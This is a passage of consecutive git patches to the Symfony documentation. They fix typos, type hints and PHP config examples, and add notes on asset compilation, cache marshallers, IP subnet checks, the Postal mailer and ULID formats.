@@ -93,6 +93,11 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
+.. caution::
+
+    If you compiled your assets on your development machine, you need to delete them again,
+    in order to make Symfony serve the current versions from ``assets/`` again.
+
 .. tip::
 
     If you need to copy the compiled assets to a different location (e.g. upload

From b55c5cb9a42394e7aa0d371fac42a36c844a996a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Jul 2024 11:26:20 +0200
Subject: [PATCH 6248/7107] Reword

---
 frontend/asset_mapper.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 90e7d2b6033..185fca4f913 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -81,7 +81,7 @@ Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
-is handled and returned by your Symfony app - but only if ``public/assets/`` is empty (see below).
+is handled and returned by your Symfony app.
 
 For the ``prod`` environment, before deploy, you should run:
 
@@ -95,8 +95,10 @@ See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
 .. caution::
 
-    If you compiled your assets on your development machine, you need to delete them again,
-    in order to make Symfony serve the current versions from ``assets/`` again.
+    If you run the ``asset-map:compile`` command on your development machine,
+    you won't see any changes made to your assets when reloading the page.
+    To resolve this, delete the contents of the ``public/assets/`` directory.
+    This will allow your Symfony application to serve those assets dynamically again.
 
 .. tip::
 

From f93bdbe25a58e08958a8504fd57987cb6206cfc8 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Wed, 24 Jul 2024 11:27:55 +0200
Subject: [PATCH 6249/7107] Update csrf.rst

Fixed a typo
---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 61337e71be4..48e1a09ec2a 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -108,7 +108,7 @@ CSRF Protection in Symfony Forms
 
 :doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also
 checks them automatically for you. So, when using Symfony Forms, you don't have
-o do anything to be protected against CSRF attacks.
+to do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 

From 7bb3860a2eb3aeab02a9d769430a07c53bdb9844 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Sat, 24 Feb 2024 16:40:36 +0100
Subject: [PATCH 6250/7107] Fix debug config reference dump_destination

---
 reference/configuration/debug.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 482396d2ae2..ddbf9365046 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -95,8 +95,13 @@ Typically, you would set this to ``php://stderr``:
     .. code-block:: php
 
         // config/packages/debug.php
-        $container->loadFromExtension('debug', [
-            'dump_destination' => 'php://stderr',
-        ]);
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('debug', [
+                'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
+            ]);
+        };
+
 
 Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`.

From 17102f9274349edb3cb9c662edd9d5888b92e5ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jul 2024 09:16:06 +0200
Subject: [PATCH 6251/7107] Fix a PHP config example

---
 reference/configuration/debug.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index ddbf9365046..95976cad580 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -95,7 +95,7 @@ Typically, you would set this to ``php://stderr``:
     .. code-block:: php
 
         // config/packages/debug.php
-        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return static function (ContainerConfigurator $container): void {
             $container->extension('debug', [

From f5f16af36ded58edf37af2be3fe6f078d7c6b64b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 25 Jul 2024 09:54:38 +0200
Subject: [PATCH 6252/7107] add the $token argument to checkPostAuth()

---
 security/user_checkers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index d62cc0bea32..1e1dcaf3e55 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -40,7 +40,7 @@ displayed to the user::
             }
         }
 
-        public function checkPostAuth(UserInterface $user): void
+        public function checkPostAuth(UserInterface $user, TokenInterface $token): void
         {
             if (!$user instanceof AppUser) {
                 return;

From aec2ec5ef61cca979c9d830a6fd22d6a64446ab4 Mon Sep 17 00:00:00 2001
From: Marcin Nowak <kontakt@nowak-marcin.pl>
Date: Fri, 26 Jul 2024 14:12:16 +0200
Subject: [PATCH 6253/7107] Added information about clock parameter in
 ArrayAdapter

---
 components/cache/adapters/array_cache_adapter.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index f903771e468..a6a72514361 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -24,5 +24,10 @@ method::
 
         // the maximum number of items that can be stored in the cache. When the limit
         // is reached, cache follows the LRU model (least recently used items are deleted)
-        $maxItems = 0
+        $maxItems = 0,
+
+        // implementation of Psr\Clock\ClockInterface (e.g. Symfony\Component\Clock\Clock)
+        // or null. If clock is provided, cache items lifetime will be calculated
+        // based on time provided by this clock
+        $clock = null
     );

From 87acbbcce5954cd05f16824d8db91b42fe954318 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Jul 2024 14:29:19 +0200
Subject: [PATCH 6254/7107] fix the syntax of PHP code blocks

---
 configuration/micro_kernel_trait.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 23aa677cf20..c9739679f69 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -57,7 +57,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
 
         return static function (array $context) {
             return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
-        }
+        };
 
     .. code-block:: php
 
@@ -98,7 +98,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
 
         return static function (array $context) {
             return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
-        }
+        };
 
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:

From 28a4853bec254ee300d9d00f177a2e7c6d83d0e9 Mon Sep 17 00:00:00 2001
From: Severin J <48485375+sevjan@users.noreply.github.com>
Date: Thu, 25 Jul 2024 11:48:28 +0200
Subject: [PATCH 6255/7107] style: Typo in database.rst title

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 64095eec01b..bbf709801ba 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,4 +1,4 @@
-How to Test A Doctrine Repository
+How to Test a Doctrine Repository
 =================================
 
 .. seealso::

From f1c8808ee481a65b1e10453e362b54b98c3ae4cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jul 2024 17:03:46 +0200
Subject: [PATCH 6256/7107] [Cache] Igbinary extension is no longer used by
 default when available

---
 components/cache.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index f5a76f2119d..939627b1807 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -208,16 +208,27 @@ Symfony uses *marshallers* (classes which implement
 the cache items before storing them.
 
 The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
-``serialize()`` or ``igbinary_serialize()`` if the `Igbinary extension`_ is installed.
-There are other *marshallers* that can encrypt or compress the data before storing it::
+``serialize()`` function by default, but you can optionally use the ``igbinary_serialize()``
+function from the `Igbinary extension`_:
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
     use Symfony\Component\Cache\DefaultMarshaller;
     use Symfony\Component\Cache\DeflateMarshaller;
 
     $marshaller = new DeflateMarshaller(new DefaultMarshaller());
+    // you can optionally use the Igbinary extension if you have it installed
+    // $marshaller = new DeflateMarshaller(new DefaultMarshaller(useIgbinarySerialize: true));
+
     $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller);
 
+There are other *marshallers* that can encrypt or compress the data before storing it.
+
+.. versionadded:: 7.2
+
+    In Symfony versions prior to 7.2, the ``igbinary_serialize()`` function was
+    used by default when the Igbinary extension was installed. Starting from
+    Symfony 7.2, you have to enable Igbinary support explicitly.
+
 Advanced Usage
 --------------
 

From c6c0908067d1d1fd2bd0a72d478018eca4c22069 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 28 Jul 2024 12:33:44 +0200
Subject: [PATCH 6257/7107] fix dump destination value in PHP config

---
 reference/configuration/debug.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 95976cad580..f33b3f3ba9a 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -99,7 +99,7 @@ Typically, you would set this to ``php://stderr``:
 
         return static function (ContainerConfigurator $container): void {
             $container->extension('debug', [
-                'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
+                'dump_destination' => 'php://stderr',
             ]);
         };
 

From eb8cf60af1a8aedd9a7f34a420485a0d6fcd8ac1 Mon Sep 17 00:00:00 2001
From: Severin J <48485375+sevjan@users.noreply.github.com>
Date: Mon, 29 Jul 2024 11:43:32 +0200
Subject: [PATCH 6258/7107] style: Typo in content title

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index bbf709801ba..6c337ee07a3 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -89,7 +89,7 @@ the employee which gets returned by the ``Repository``, which itself gets
 returned by the ``EntityManager``. This way, no real class is involved in
 testing.
 
-Functional Testing of A Doctrine Repository
+Functional Testing of a Doctrine Repository
 -------------------------------------------
 
 In :ref:`functional tests <functional-tests>` you'll make queries to the

From 10abade6df61b95c776301daa30876f4906c4fca Mon Sep 17 00:00:00 2001
From: Dennis de Best <dennis@debest.fr>
Date: Fri, 5 Jul 2024 11:56:01 +0200
Subject: [PATCH 6259/7107] Update configuration.rst

Fix $containerConfigurator parameter name in loadExtension function
---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4efba904b0e..ab15675105f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -97,7 +97,7 @@ class, you can add all the logic related to processing the configuration in that
             // the "$config" variable is already merged and processed so you can
             // use it directly to configure the service container (when defining an
             // extension class, you also have to do this merging and processing)
-            $containerConfigurator->services()
+            $container->services()
                 ->get('acme_social.twitter_client')
                 ->arg(0, $config['twitter']['client_id'])
                 ->arg(1, $config['twitter']['client_secret'])

From 24a61bdf3663a5dd47f322967a28eae70f0b9dd6 Mon Sep 17 00:00:00 2001
From: Damien Fernandes <damien.fernandes24@gmail.com>
Date: Mon, 29 Jul 2024 17:18:13 +0200
Subject: [PATCH 6260/7107] docs(http-foundation): check if ip is in cidr
 subnet

---
 components/http_foundation.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index e5d8be12b2d..9fd5384e366 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -353,6 +353,27 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+
+Check if an IP belongs to a CIDR subnet
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to know if an IP address is included in a CIDR subnet, you can
+use the ``checkIp`` method from the
+:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that::
+
+    use Symfony\Component\HttpFoundation\IpUtils;
+
+    $ipv4 = '192.168.1.56';
+    $CIDRv4 = '192.168.1.0/16';
+    $isIpInCIDRv4 = IpUtils::checkIp($ipv4, $CIDRv4);
+    // $isIpInCIDRv4 = true
+
+    $ipv6 = '2001:db8:abcd:1234::1';
+    $CIDRv6 = '2001:db8:abcd::/48';
+    $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6);
+    // $isIpInCIDRv6 = true
+
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From d2b384beacf7a749ffaf0e98b9f41315a95893a2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 30 Jul 2024 16:38:51 +0200
Subject: [PATCH 6261/7107] fix typo

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 70a6602873e..828333f338b 100644
--- a/performance.rst
+++ b/performance.rst
@@ -367,7 +367,7 @@ method does, which stops an event and then restarts it immediately::
 
 .. versionadded:: 7.2
 
-    The ``getLastPeriod`` method was introduced in Symfony 7.2.
+    The ``getLastPeriod()`` method was introduced in Symfony 7.2.
 
 Profiling Sections
 ..................

From fdcb2708b28d44934a6bf0044ef788af0aef1f19 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jul 2024 17:57:57 +0200
Subject: [PATCH 6262/7107] Minor tweak in the setup page

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 11a443f44e1..2404c5c3738 100644
--- a/setup.rst
+++ b/setup.rst
@@ -35,7 +35,7 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony CLI is written in Go and you can contribute to it in the
+    The Symfony CLI is open source, and you can contribute to it in the
     `symfony-cli/symfony-cli GitHub repository`_.
 
 .. _creating-symfony-applications:

From 4f733e05a80734e53e3b577a76947b6f3648d257 Mon Sep 17 00:00:00 2001
From: Franz Holzinger <franz.holzinger@festwein.de>
Date: Wed, 31 Jul 2024 16:12:53 +0200
Subject: [PATCH 6263/7107] example function param 1 requires string

An int causes a PHP error

argument symfony#1 ($line) must be of type int, string given,
---
 components/var_dumper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index bc14c970fa9..56da6d2f5da 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -627,7 +627,7 @@ For example, to get a dump as a string in a variable, you can do::
 
     $dumper->dump(
         $cloner->cloneVar($variable),
-        function (int $line, int $depth) use (&$output): void {
+        function (string $line, int $depth) use (&$output): void {
             // A negative depth means "end of dump"
             if ($depth >= 0) {
                 // Adds a two spaces indentation to the line

From 40dffcb4b4aae88493ac22240c60793bf59dabee Mon Sep 17 00:00:00 2001
From: Glen <glen.jaguin@gmail.com>
Date: Wed, 31 Jul 2024 20:40:42 +0200
Subject: [PATCH 6264/7107] Fix ScheduledStamp FQN

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 8ec25d2c75f..c56c2bace82 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,7 +162,7 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   to configure the validation groups used when the validation middleware is enabled.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
-* :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`,
+* :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`,
   a stamp that marks the message as produced by a scheduler. This helps
   differentiate it from messages created "manually". You can learn more about it
   in the :doc:`Scheduler documentation </scheduler>`.

From e2d8f0a36494d6370e0c845a18a36a84f8329ea5 Mon Sep 17 00:00:00 2001
From: Jonas Claes <jonas@jonasclaes.be>
Date: Thu, 1 Aug 2024 19:31:56 +0200
Subject: [PATCH 6265/7107] Update mailer.rst

---
 mailer.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 502644a741a..11acd065e52 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,6 +110,7 @@ Service               Install with                                    Webhook su
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
+`Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
@@ -122,7 +123,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.2
 
-    The Mailomat integration was introduced in Symfony 7.2.
+    The Mailomat and Postal integrations were introduced in Symfony 7.2.
 
 .. note::
 
@@ -214,6 +215,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailpace+api://API_TOKEN@default``              |
 +------------------------+---------------------------------------------------------+
+| `Postal`_              | - SMTP n/a                                              |
+|                        | - HTTP n/a                                              |
+|                        | - API ``postal+api://API_KEY@BASE_URL``                 |
++------------------------+---------------------------------------------------------+
 | `Postmark`_            | - SMTP ``postmark+smtp://ID@default``                   |
 |                        | - HTTP n/a                                              |
 |                        | - API ``postmark+api://KEY@default``                    |
@@ -1992,6 +1997,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`MailPace`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/MailPace/README.md
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
+.. _`Postal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postal/README.md
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
 .. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt

From f68a326e35f85061813257b71bf2cd7f847f5afd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 2 Aug 2024 12:25:50 +0200
Subject: [PATCH 6266/7107] clarify how to disable client-side validation using
 the Regex constraint

---
 reference/constraints/Regex.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 6c7f34a5422..d57ded2bb77 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -193,7 +193,7 @@ Options
 ``htmlPattern``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string|boolean`` **default**: ``null``
+**type**: ``string|null`` **default**: ``null``
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
@@ -289,7 +289,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             }
         }
 
-Setting ``htmlPattern`` to false will disable client side validation.
+Setting ``htmlPattern`` to the empty string will disable client side validation.
 
 ``match``
 ~~~~~~~~~

From a04e07c05a9c81e8d09b083953b92dcdf2678382 Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Wed, 26 Jun 2024 15:19:59 +0200
Subject: [PATCH 6267/7107] Fix redis adapter config to work with tags

---
 cache.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index d5a7082b748..c073a98387f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -618,8 +618,7 @@ to enable this feature. This could be added by using the following configuration
             cache:
                 pools:
                     my_cache_pool:
-                        adapter: cache.adapter.redis
-                        tags: true
+                        adapter: cache.adapter.redis_tag_aware
 
     .. code-block:: xml
 

From 8cfb8e0642bfca5b8b2373e1cfbef81fe78ce8ed Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Mon, 29 Jul 2024 09:35:15 +0200
Subject: [PATCH 6268/7107] [DomCrawler] fixes typo `Form::getFields()` ->
 `Form::getFiles()`

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 5116d53a04c..c00ea9de8c8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -917,7 +917,7 @@ The second optional argument is used to override the default form field values.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
+``getValues()`` and ``getFiles()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');

From e58228e790fe9ea9f8f88e0ed45de990253b23f4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 5 Aug 2024 13:37:31 +0200
Subject: [PATCH 6269/7107] Update reproducer.rst: Minor rewording

Reason: Bugs aren't only fixed by Core Developers...
---
 contributing/code/reproducer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/reproducer.rst b/contributing/code/reproducer.rst
index 6efae2a8ee8..3392ca87035 100644
--- a/contributing/code/reproducer.rst
+++ b/contributing/code/reproducer.rst
@@ -2,8 +2,8 @@ Creating a Bug Reproducer
 =========================
 
 The main Symfony code repository receives thousands of issues reports per year.
-Some of those issues are easy to understand and the Symfony Core developers can
-fix them without any other information. However, other issues are much harder to
+Some of those issues are easy to understand and can
+be fixed without any other information. However, other issues are much harder to
 understand because developers can't reproduce them in their computers. That's
 when we'll ask you to create a "bug reproducer", which is the minimum amount of
 code needed to make the bug appear when executed.

From cc528c5d15c73b5c41299af2f3b7f8253e9208d7 Mon Sep 17 00:00:00 2001
From: Etshy <garbuio.jonas@gmail.com>
Date: Tue, 6 Aug 2024 13:09:53 +0200
Subject: [PATCH 6270/7107] Update Cidr.rst

Update netmaskMax type to match the type in the code.
---
 reference/constraints/Cidr.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index bb51a4826be..b90f07ea1c8 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -112,7 +112,7 @@ It's a constraint for the lowest value a valid netmask may have.
 ``netmaskMax``
 ~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
+**type**: ``integer`` **default**: ``32`` for IPv4 or ``128`` for IPv6
 
 It's a constraint for the biggest value a valid netmask may have.
 

From 6f8b6fede02c122a9052a25436584af824200b5b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 6 Aug 2024 14:58:20 +0200
Subject: [PATCH 6271/7107] ensure consistency of Symfony and standalone
 session code block

---
 session.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/session.rst b/session.rst
index c03d9435baf..a212acf9993 100644
--- a/session.rst
+++ b/session.rst
@@ -171,15 +171,13 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
         // add flash messages
         $flashes->add(
-            'warning',
-            'Your config file is writable, it should be set read-only'
+            'notice',
+            'Your changes were saved'
         );
-        $flashes->add('error', 'Failed to update name');
-        $flashes->add('error', 'Another error');
 
-After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``warning`` and ``error`` in this example) can be anything:
-you'll use this key to retrieve the message.
+After processing the request, the controller sets a flash message in the
+session and then redirects. The message key (``notice`` in this example)
+can be anything. You'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),
 read any flash messages from the session using the ``flashes()`` method provided

From 4b3fad09b8894e9d61876e1fdd8752275fe57691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Aug 2024 17:44:01 +0200
Subject: [PATCH 6272/7107] Add the versionadded directive

---
 components/cache/adapters/array_cache_adapter.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index a6a72514361..08f8276db3d 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -26,8 +26,12 @@ method::
         // is reached, cache follows the LRU model (least recently used items are deleted)
         $maxItems = 0,
 
-        // implementation of Psr\Clock\ClockInterface (e.g. Symfony\Component\Clock\Clock)
-        // or null. If clock is provided, cache items lifetime will be calculated
-        // based on time provided by this clock
-        $clock = null
+        // optional implementation of the Psr\Clock\ClockInterface that will be used
+        // to calculate the lifetime of cache items (for example to get predictable
+        // lifetimes in tests)
+        $clock = null,
     );
+
+.. versionadded:: 7.2
+
+    The optional ``$clock`` argument was introduced in Symfony 7.2.

From c7bf80275b6a65807642e860fc19af77ffd6c453 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Aug 2024 11:02:10 +0200
Subject: [PATCH 6273/7107] [Validator] Mention `Ulid::FORMAT_RFC4122`

---
 reference/constraints/Ulid.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 4ba5ec3a3f5..a5888409960 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -82,6 +82,7 @@ The format of the ULID to validate. The following formats are available:
 
 * ``Ulid::FORMAT_BASE_32``: The ULID is encoded in base32 (default)
 * ``Ulid::FORMAT_BASE_58``: The ULID is encoded in base58
+* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the RFC 4122 format
 
 .. versionadded:: 7.2
 

From 9381f4be9bf1149ab63d850b84d678e2e1df6869 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Aug 2024 14:20:31 +0200
Subject: [PATCH 6274/7107] [Validator] Add links to Ulid constraint formats

---
 reference/constraints/Ulid.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index a5888409960..4094bab98f5 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -80,9 +80,9 @@ Options
 
 The format of the ULID to validate. The following formats are available:
 
-* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in base32 (default)
-* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in base58
-* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the RFC 4122 format
+* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in `base32`_ (default)
+* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in `base58`_
+* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the `RFC 4122 format`_
 
 .. versionadded:: 7.2
 
@@ -111,3 +111,6 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`Universally Unique Lexicographically Sortable Identifier (ULID)`: https://github.com/ulid/spec
+.. _`base32`: https://en.wikipedia.org/wiki/Base32
+.. _`base58`: https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58
+.. _`RFC 4122 format`: https://datatracker.ietf.org/doc/html/rfc4122

From 248138d04e8656f8779c834df4a43c9c6ae90fdd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Aug 2024 16:53:26 +0200
Subject: [PATCH 6275/7107] Minor tweaks

---
 components/http_foundation.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 74589f0fcad..d24cb8032f0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -353,13 +353,11 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
-
-Check if an IP belongs to a CIDR subnet
+Check If an IP Belongs to a CIDR Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you need to know if an IP address is included in a CIDR subnet, you can
-use the ``checkIp`` method from the
